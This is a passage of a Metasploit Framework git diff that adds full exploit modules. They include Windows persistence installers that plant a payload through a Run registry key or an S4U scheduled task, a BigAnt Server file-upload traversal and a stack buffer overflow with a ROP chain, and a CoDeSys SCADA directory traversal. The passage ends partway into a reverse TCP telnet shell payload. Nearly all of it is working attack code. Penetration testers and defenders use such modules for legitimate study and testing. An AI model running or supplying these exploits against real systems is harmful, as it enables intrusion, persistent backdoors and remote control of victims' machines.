'DigestAuthPassword' => datastore['RPASS'] + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] }, 25) unless (res and res.code == 201) print_error "Failed to upload file!" diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb index 137a1686c8..b97524a3df 100644 --- a/modules/exploits/windows/iis/ms02_065_msadc.rb +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote data = 'Content-Type: ' + sploit res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/AdvancedDataFactory.Query', + 'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'), 'headers' => { 'Content-Length' => data.length, diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 60d1f7b814..d3383308df 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote data << sploit res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/' + method, + 'uri' => normalize_uri(datastore['PATH'], method), 'agent' => 'ACTIVEDATA', 'headers' => { @@ -200,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n\r\n--#{boundary}--\r\n" res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/VbBusObj.VbBusObjCls.GetMachineName', + 'uri' => normalize_uri(datastore['PATH'], '/VbBusObj.VbBusObjCls.GetMachineName'), 'agent' => 'ACTIVEDATA', 'headers' => { diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb new file mode 100644 index 0000000000..4c2dcaca1f --- /dev/null +++ b/modules/exploits/windows/local/persistence.rb @@ -0,0 +1,202 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/registry' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Registry + include Exploit::EXE + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage Persistent Payload Installer', + 'Description' => %q{ + This Module will create a boot persistent reverse Meterpreter session by + installing on the target host the payload as a script that will be executed + at user logon or system startup depending on privilege and selected startup + method. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Carlos Perez ' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate'=> "Oct 19 2011" + )) + + register_options( + [ + OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]), + OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), + OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]), + OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), + ], self.class) + + end + + # Exploit Method for when exploit command is issued + def exploit + print_status("Running module against #{sysinfo['Computer']}") + + rexename = datastore['REXENAME'] + delay = datastore['DELAY'] + reg_val = datastore['REG_NAME'] + @clean_up_rc = "" + host,port = session.session_host, session.session_port + + exe = generate_payload_exe + script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay}) + script_on_target = write_script_to_target(script,rexename) + + if script_on_target == nil + # exit the module because we failed to write the file on the target host. + return + end + + # Initial execution of script + if target_exec(script_on_target) == nil + # Exit if we where not able to run the payload. + return + end + + case datastore['STARTUP'] + when /USER/i + regwrite = write_to_reg("HKCU", script_on_target, reg_val) + # if we could not write the entry in the registy we exit the module. + if not regwrite + return + end + when /SYSTEM/i + regwrite = write_to_reg("HKLM", script_on_target, reg_val) + # if we could not write the entry in the registy we exit the module. + if not regwrite + return + end + end + + clean_rc = log_file() + file_local_write(clean_rc,@clean_up_rc) + print_status("Cleanup Meterpreter RC File: #{clean_rc}") + + report_note(:host => host, + :type => "host.persistance.cleanup", + :data => { + :local_id => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :commands => @clean_up_rc + } + ) + end + + # Function for creating log folder and returning log path + def log_file(log_path = nil) + #Get hostname + host = session.sys.config.sysinfo["Computer"] + + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + end + + # Create the log directory + ::FileUtils.mkdir_p(logs) + + #logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile + end + + # Writes script to target host + def write_script_to_target(vbs,name) + tempdir = expand_path("%TEMP%") + if name == nil + tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" + else + tempvbs = tempdir + "\\" + name + ".vbs" + end + begin + write_file(tempvbs, vbs) + print_good("Persistent Script written to #{tempvbs}") + @clean_up_rc << "rm #{tempvbs}\n" + rescue + print_error("Could not write the payload on the target hosts.") + # return nil since we could not write the file on the target host. + tempvbs = nil + end + return tempvbs + end + + # Executes script on target and return the PID of the process + def target_exec(script_on_target) + execsuccess = true + print_status("Executing script #{script_on_target}") + # error handling for process.execute() can throw a RequestError in send_request. + begin + if datastore['EXE::Custom'].nil? + session.shell_command_token(script_on_target) + else + session.shell_command_token("cscript \"#{script_on_target}\"") + end + rescue + print_error("Failed to execute payload on target host.") + execsuccess = nil + end + return execsuccess + end + + # Installs payload in to the registry HKLM or HKCU + def write_to_reg(key,script_on_target, registry_value) + # Lets start to assume we had success. + write_success = true + if registry_value.nil? + nam = Rex::Text.rand_text_alpha(rand(8)+8) + else + nam = registry_value + end + + print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + + if(key) + set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") + if set_return + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + else + print_error("Failed to make entry in the registry for persistence.") + write_success = false + end + else + print_error("Error: failed to open the registry key for writing") + write_success = false + end + end + +end diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb new file mode 100644 index 0000000000..188b8e643c --- /dev/null +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -0,0 +1,385 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Exploit::EXE + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage User Level Persistent Payload Installer', + 'Description' => %q{ + Creates a scheduled task that will run using service-for-user (S4U). + This allows the scheduled task to run even as an unprivileged user + that is not logged into the device. This will result in lower security + context, allowing access to local resources only. The module + requires 'Logon as a batch job' permissions (SeBatchLogonRight). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Thomas McCarthy "smilingraccoon" ', + 'Brandon McCann "zeknox" ' + ], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], + [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/'] + ] + )) + + register_options( + [ + OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']), + OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires']), + OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['logon', 'lock', 'unlock','schedule', 'event']]), + OptString.new('REXENAME',[false, 'Name of exe on remote system']), + OptString.new('RTASKNAME',[false, 'Name of exe on remote system']), + OptString.new('PATH',[false, 'PATH to write payload']) + ], self.class) + + register_advanced_options( + [ + OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']), + OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']), + OptString.new('XPATH', [false, 'XPath query']) + ], self.class) + end + + def exploit + if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) + fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above") + end + + if datastore['TRIGGER'] == "event" + if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? + print_status("The properties of any event in the event viewer will contain this information") + fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event") + end + end + + # Generate payload + payload = generate_payload_exe + + # Generate remote executable name + rexename = generate_rexename + + # Generate path names + xml_path,rexe_path = generate_path(rexename) + + # Upload REXE to victim fs + upload_rexe(rexe_path, payload) + + # Create basic XML outline + xml = create_xml(rexe_path) + + # Fix XML based on trigger + xml = add_xml_triggers(xml) + + # Write XML to victim fs, if fail clean up + write_xml(xml, xml_path, rexe_path) + + # Name task with Opt or give random name + schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + + # Create task with modified XML + create_task(xml_path, schname, rexe_path) + end + + ############################################################## + # Generate name for payload + # Returns name + + def generate_rexename + rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + if not rexename =~ /\.exe$/ + print_warning("#{datastore['REXENAME']} isn't an exe") + end + return rexename + end + + ############################################################## + # Generate Path for payload upload + # Returns path for xml and payload + + def generate_path(rexename) + # generate a path to write payload and xml + path = datastore['PATH'] || expand_path("%TEMP%") + xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" + rexe_path = "#{path}\\#{rexename}" + return xml_path,rexe_path + end + + ############################################################## + # Upload the executable payload + # Returns boolean for success + + def upload_rexe(path, payload) + vprint_status("Uploading #{path}") + if file? path + fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting") + end + begin + write_file(path, payload) + rescue => e + fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}") + end + print_status("Successfully uploaded remote executable to #{path}") + end + + ############################################################## + # Creates a scheduled task, exports as XML, deletes task + # Returns normal XML for generic task + + def create_xml(rexe_path) + xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence.xml") + xml_file = File.new(xml_path,"r") + xml = xml_file.read + xml_file.close + + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_warning("Could not read system time from victim...using your local time to determine creation date") + t = ::Time.now + end + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + + # put in correct times + xml = xml.gsub(/DATEHERE/, "#{date}T#{time}") + + domain, user = client.sys.config.getuid.split('\\') + + # put in user information + xml = xml.sub(/DOMAINHERE/, user) + xml = xml.sub(/USERHERE/, "#{domain}\\#{user}") + + xml = xml.sub(/COMMANDHERE/, rexe_path) + return xml + end + + ############################################################## + # Takes the XML, alters it based on trigger specified. Will also + # add in expiration tag if used. + # Returns the modified XML + + def add_xml_triggers(xml) + # Insert trigger + case datastore['TRIGGER'] + when 'logon' + # Trigger based on winlogon event, checks windows license key after logon + print_status("This trigger triggers on event 4101 which validates the Windows license") + line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" + xml = create_trigger_event_tags("Application", line, xml) + + when 'lock' + xml = create_trigger_tags("SessionLock", xml) + + when 'unlock' + xml = create_trigger_tags("SessionUnlock", xml) + + when 'event' + line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" + if not datastore['XPATH'].nil? and not datastore['XPATH'].empty? + # Append xpath queries + line << " and #{datastore['XPATH']}" + # Print XPath query, useful to user to spot issues with uncommented single quotes + print_status("XPath query: #{line}") + end + + xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml) + + when 'schedule' + # Change interval tag, insert into XML + if datastore['FREQUENCY'] != 0 + minutes = datastore['FREQUENCY'] + else + print_status("Defaulting frequency to every hour") + minutes = 60 + end + xml = xml.sub(/.*?PT#{minutes}M<") + + # Insert expire tag if not 0 + unless datastore['EXPIRE_TIME'] == 0 + # Generate expire tag + end_boundary = create_expire_tag + # Inject expire tag + insert = xml.index("") + xml.insert(insert + 16, "\n #{end_boundary}") + end + end + return xml + end + + ############################################################## + # Creates end boundary tag which expires the trigger + # Returns XML for expire + + def create_expire_tag() + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_error("Could not read system time from victim...using your local time to determine expire date") + t = ::Time.now + end + + # Create time object to add expire time to and create tag + t = t + (datastore['EXPIRE_TIME'] * 60) + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + end_boundary = "#{date}T#{time}" + return end_boundary + end + + ############################################################## + # Creates trigger XML for session state triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_tags(trig, xml) + domain, user = client.sys.config.getuid.split('\\') + + # Create session state trigger, weird spacing used to maintain + # natural Winadows spacing for XML export + temp_xml = "\n" + temp_xml << " #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0 + temp_xml << " true\n" + temp_xml << " #{trig}\n" + temp_xml << " #{domain}\\#{user}\n" + temp_xml << " " + + xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + + return xml + end + + ############################################################## + # Creates trigger XML for event based triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_event_tags(log, line, xml) + # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind + # used to maintain natural Windows spacing for XML export + temp_xml = "\n" + temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0 + temp_xml << " true\n" + temp_xml << " <QueryList><Query Id=\"0\" " + temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" + temp_xml << line + temp_xml << "</Select></Query></QueryList>" + temp_xml << "\n" + temp_xml << " " + + xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + return xml + end + + ############################################################## + # Takes the XML and a path and writes file to filesystem + # Returns boolean for success + + def write_xml(xml, path, rexe_path) + if file? path + delete_file(rexe_path) + fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting") + end + begin + write_file(path, xml) + rescue + delete_file(rexe_path) + fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}") + end + print_status("Successfully wrote XML file to #{path}") + end + + ############################################################## + # Takes path and delete file + # Returns boolean for success + + def delete_file(path) + begin + file_rm(path) + rescue + print_warning("Could not delete file #{path}, delete manually") + end + end + + ############################################################## + # Takes path and name for task and creates final task + # Returns boolean for success + + def create_task(path, schname, rexe_path) + # create task using XML file on victim fs + create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"") + if create_task_response =~ /has successfully been created/ + print_good("Persistence task #{schname} created successfully") + + # Create to delete commands for exe and task + del_task = "schtasks /delete /tn \"#{schname}\" /f" + print_status("#{"To delete task:".ljust(20)} #{del_task}") + print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}") + del_task << "\ndel #{rexe_path}" + + # Delete XML from victim + delete_file(path) + + # Save info to notes DB + report_note(:host => session.session_host, + :type => "host.s4u_persistance.cleanup", + :data => { + :session_num => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :delete_commands => del_task + } + ) + elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ + # Clean up + delete_file(rexe_path) + delete_file(path) + error = "The scheduled task name is already in use" + fail_with(Exploit::Failure::Unknown, error) + else + error = "Issues creating task using XML file schtasks" + vprint_error("Error: #{create_task_response}") + if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" + print_warning("Security log can restricted by UAC, try a different trigger") + end + # Clean up + delete_file(rexe_path) + delete_file(path) + fail_with(Exploit::Failure::Unknown, error) + end + end +end diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb new file mode 100644 index 0000000000..769d2e2252 --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -0,0 +1,127 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload', + 'Description' => %q{ + This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7. + A lack of authentication allows to make unauthenticated file uploads through a DUPF + command. Additionally the filename option in the same command can be used to launch + a directory traversal attack and achieve arbitrary file upload. + + The module uses uses the Windows Management Instrumentation service to execute an + arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It + has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 + SP2. + }, + 'Author' => + [ + 'Hamburgers Maccoy', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6274' ], + [ 'US-CERT-VU', '990652' ], + [ 'BID', '57214' ], + [ 'OSVDB', '89342' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt Server 2.97 SP7', { } ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'DisclosureDate' => 'Jan 09 2013')) + + register_options( + [ + Opt::RPORT(6661), + OptInt.new('DEPTH', [true, "Levels to reach base directory", 6]) + ], self.class) + + end + + def upload_file(filename, content) + + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" + + dupf = "DUPF 16\n" + dupf << "cmdid: 1\n" + dupf << "content-length: #{content.length}\n" + dupf << "content-type: Appliction/Download\n" + dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n" + dupf << "modified: #{random_date}\n" + dupf << "pclassid: 102\n" + dupf << "pobjid: 1\n" + dupf << "rootid: 1\n" + dupf << "sendcheck: 1\n\n" + dupf << content + + print_status("sending DUPF") + connect + sock.put(dupf) + res = sock.get_once + disconnect + return res + + end + + def exploit + + peer = "#{rhost}:#{rport}" + + # Setup the necessary files to do the wbemexec trick + exe_name = rand_text_alpha(rand(10)+5) + '.exe' + exe = generate_payload_exe + mof_name = rand_text_alpha(rand(10)+5) + '.mof' + mof = generate_mof(mof_name, exe_name) + + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}") + res = upload_file("WINDOWS\\system32\\#{exe_name}", exe) + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ + print_good("#{peer} - #{exe_name} uploaded successfully") + else + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ + print_error("#{peer} - Upload failed, check the DEPTH option") + end + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}") + end + + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}") + res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ + print_good("#{peer} - #{mof_name} uploaded successfully") + register_file_for_cleanup(exe_name) + register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") + else + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ + print_error("#{peer} - Upload failed, check the DEPTH option") + end + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}") + end + + end + +end diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb new file mode 100644 index 0000000000..f72d6c171d --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -0,0 +1,183 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow', + 'Description' => %q{ + This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The + vulnerability is due to the dangerous usage of strcpy while handling errors. This + module uses a combination of SCH and DUPF request to trigger the vulnerability, and + has been tested successfully against version 2.97 SP7 over Windows XP SP3 and + Windows 2003 SP2. + }, + 'Author' => + [ + 'Hamburgers Maccoy', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6275' ], + [ 'US-CERT-VU', '990652' ], + [ 'BID', '57214' ], + [ 'OSVDB', '89344' ] + ], + 'Payload' => + { + 'Space' => 2500, + 'BadChars' => "\x00\x0a\x0d\x25\x27", + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt Server 2.97 SP7 / Windows XP SP3', + { + 'Offset' => 629, + 'Ret' => 0x77c21ef4, # ppr from msvcrt + 'JmpESP' => 0x77c35459, # push esp # ret from msvcrt + 'FakeObject' => 0x77C60410 # .data from msvcrt + } + ], + [ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2', + { + 'Offset' => 629, + 'Ret' => 0x77bb287a, # ppr from msvcrt + 'FakeObject' => 0x77bf2460, # .data from msvcrt + :callback_rop => :w2003_sp2_rop + } + ] + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 09 2013')) + + register_options([Opt::RPORT(6661)], self.class) + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V")[0].to_i + end + + def nop + return make_nops(4).unpack("V")[0].to_i + end + + def w2003_sp2_rop + rop_gadgets = + [ + 0x77bc5d88, # POP EAX # RETN + 0x77ba1114, # <- *&VirtualProtect() + 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN + junk, + 0x77bb0c86, # XCHG EAX,ESI # RETN + 0x77bc9801, # POP EBP # RETN + 0x77be2265, # ptr to 'push esp # ret' + 0x77bc5d88, # POP EAX # RETN + 0x03C0990F, + 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) + 0x77bb48d3, # POP EBX, RET + 0x77bf21e0, # .data + 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN + 0x77bbfc02, # POP ECX # RETN + 0x77bef001, # W pointer (lpOldProtect) (-> ecx) + 0x77bd8c04, # POP EDI # RETN + 0x77bd8c05, # ROP NOP (-> edi) + 0x77bc5d88, # POP EAX # RETN + 0x03c0984f, + 0x77bdd441, # SUB EAX, 03c0940f + 0x77bb8285, # XCHG EAX,EDX # RETN + 0x77bc5d88, # POP EAX # RETN + nop, + 0x77be6591, # PUSHAD # ADD AL,0EF # RETN + ].pack("V*") + + return rop_gadgets + end + + def exploit + + sploit = rand_text_alpha(target['Offset']) + sploit << [target.ret].pack("V") + sploit << [target['FakeObject']].pack("V") + sploit << [target['FakeObject']].pack("V") + if target[:callback_rop] and self.respond_to?(target[:callback_rop]) + sploit << self.send(target[:callback_rop]) + else + sploit << [target['JmpESP']].pack("V") + end + sploit << payload.encoded + + random_filename = rand_text_alpha(4) + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" + random_userid = rand_text_numeric(1) + random_username = rand_text_alpha_lower(5) + random_content = rand_text_alpha(10 + rand(10)) + + sch = "SCH 16\n" + sch << "cmdid: 1\n" + sch << "content-length: 0\n" + sch << "content-type: Appliction/Download\n" + sch << "filename: #{random_filename}.txt\n" + sch << "modified: #{random_date}\n" + sch << "pclassid: 102\n" + sch << "pobjid: 1\n" + sch << "rootid: 1\n" + sch << "sendcheck: 1\n" + sch << "source_cmdname: DUPF\n" + sch << "source_content-length: 116619\n" + sch << "userid: #{random_userid}\n" + sch << "username: #{sploit}\n\n" + + print_status("Trying target #{target.name}...") + + connect + print_status("Sending SCH request...") + sock.put(sch) + res = sock.get_once + if res.nil? + fail_with(Exploit::Failure::Unknown, "No response to the SCH request") + end + if res=~ /scmderid: \{(.*)\}/ + scmderid = $1 + else + fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response") + end + + dupf = "DUPF 16\n" + dupf << "cmdid: 1\n" + dupf << "content-length: #{random_content.length}\n" + dupf << "content-type: Appliction/Download\n" + dupf << "filename: #{random_filename}.txt\n" + dupf << "modified: #{random_date}\n" + dupf << "pclassid: 102\n" + dupf << "pobjid: 1\n" + dupf << "rootid: 1\n" + dupf << "scmderid: {#{scmderid}}\n" + dupf << "sendcheck: 1\n" + dupf << "userid: #{random_userid}\n" + dupf << "username: #{random_username}\n\n" + dupf << random_content + + print_status("Sending DUPF request...") + sock.put(dupf) + #sock.get_once + disconnect + + end + +end diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 641783f5a3..135132c9b6 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -72,10 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote def check tmp_rport = datastore['RPORT'] - uri = normalize_uri(target_uri.host) - uri << '/' if uri[-1,1] != '/' datastore['RPORT'] = datastore['HTTPPORT'] - res = send_request_raw({'uri'=>uri}) + res = send_request_raw({'uri'=>'/'}) #Check the base path for regex datastore['RPORT'] = tmp_rport if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/ diff --git a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb new file mode 100644 index 0000000000..999995d8b9 --- /dev/null +++ b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb @@ -0,0 +1,104 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::WbemExec + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability that allows arbitrary + file creation, which can be used to execute a mof file in order to gain remote + execution within the SCADA system. + }, + 'Author' => + [ + 'Enrique Sanchez ' + ], + 'License' => 'MSF_LICENSE', + 'References' => + [ + ['CVE', '2012-4705'], + ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf'] + ], + 'DisclosureDate' => 'Feb 02 2013', + 'Platform' => 'win', + 'Targets' => + [ + ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] + ], + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(1211), + ], self.class) + end + + ## + # upload_file(remote_filepath, remote_filename, local_filedata) + # + # remote_filepath: Remote filepath where the file will be uploaded + # remote_filename: Remote name of the file to be executed ie. boot.ini + # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() + def upload_file(remote_filepath, remote_filename, local_filedata = null) + magic_code = "\xdd\xdd" + opcode = [6].pack('L') + + # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\ 'Unix Command Shell, Reverse TCP SSL (telnet)', + 'Version' => '$Revision$', + 'Description' => %q{ + Creates an interactive shell via mknod and telnet. + This method works on Debian and other systems compiled + without /dev/tcp support. This module uses the '-z' + option included on some systems to encrypt using SSL. + }, + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => 